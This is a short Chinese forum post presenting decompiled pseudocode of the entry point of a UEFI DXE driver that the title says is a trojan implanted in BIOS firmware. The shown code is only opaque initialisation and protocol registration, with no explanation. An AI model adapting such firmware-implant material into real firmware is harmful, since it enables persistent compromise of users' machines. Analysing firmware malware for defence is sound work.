本帖最后由 wowocock 于 2023-1-12 09:44 编辑
木马植入BIOS的DXE驱动
EFI_STATUS __fastcall ModuleEntryPoint(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable)
{
EFI_HANDLE v3; // [rsp+40h] [rbp+8h] BYREF
__int64 v4; // [rsp+48h] [rbp+10h] BYREF
__int64 v5; // [rsp+50h] [rbp+18h] BYREF
__int64 v6; // [rsp+58h] [rbp+20h] BYREF
v3 = ImageHandle;
gImageHandle = (__int64)ImageHandle;
sub_18001C5F0(ImageHandle, SystemTable);
sub_18001E840(&v3, &v6, &v5);
qword_180050A90 = sub_180024A88(120i64, &unk_18004BF00);
off_18004C008 = (void *)sub_180024A88(136i64, &unk_18004BF80);
*(_QWORD *)(qword_180050A90 + 88) = off_18004C008;
sub_18001C678();
sub_180021934(v3);
sub_18001EB64(&v3, v6, v5);
gImageHandle = (__int64)v3;
sub_180022A64(&EFI_DXE_SERVICES_TABLE_GUID_1, off_18004BF78);
sub_180022A64(&TCG_EFI_HOB_LIST_GUID_3, v3);
sub_180022A64(&EFI_MEMORY_TYPE_INFORMATION_GUID, &dword_18004D8A0);
sub_180009EC4(&EFI_STATUS_CODE_RUNTIME_PROTOCOL_GUID, off_18004BCD0);
sub_180024970(50597888i64);
sub_180025EC8();
sub_180025FA4(1i64, qword_180153AD8, qword_180153AD0);
sub_18001EF44();
if ( sub_180009EC4(&EFI_DECOMPRESS_PROTOCOL_GUID_0, &qword_180050A20) >= 0 )
{
v4 = 0i64;
sub_1800206BC(&v4, &EFI_DECOMPRESS_PROTOCOL_GUID_0, 0i64, qword_180050A20);
}
if ( (sub_180009EC4(&EFI_TIANO_DECOMPRESS_PROTOCOL_GUID, &qword_180050A28) & 0x8000000000000000ui64) == 0 )
{
v4 = 0i64;
sub_1800206BC(&v4, &EFI_TIANO_DECOMPRESS_PROTOCOL_GUID, 0i64, qword_180050A28);
}
if ( (sub_180009EC4(&EFI_CUSTOMIZED_DECOMPRESS_PROTOCOL_GUID, &qword_180050A30) & 0x8000000000000000ui64) == 0 )
{
v4 = 0i64;
sub_1800206BC(&v4, &EFI_CUSTOMIZED_DECOMPRESS_PROTOCOL_GUID, 0i64, qword_180050A30);
}
sub_180009EC4(&EFI_PEI_FLUSH_INSTRUCTION_CACHE_GUID, &qword_180050A38);
sub_180009EC4(&EFI_PEI_PE_COFF_LOADER_GUID, &qword_180050A40);
sub_180009EC4(&EFI_PEI_TRANSFER_CONTROL_GUID, &qword_180050A48);
sub_180024EA0();
sub_18001CA8C(qword_180153AD0, qword_180050A90);
sub_180025E88(qword_180153AD0, qword_180050A90);
sub_180024EF8(qword_180153AD0, qword_180050A90);
sub_18001C6C0();
sub_18001D430();
sub_18001D46C();
if ( (sub_180024C8C() & 0x8000000000000000ui64) != 0 )
sub_18001C7E4();
sub_180024970(50597889i64);
(*(void (__fastcall **)(__int64))qword_180050A78)(qword_180050A78);
while ( 1 )
;
} |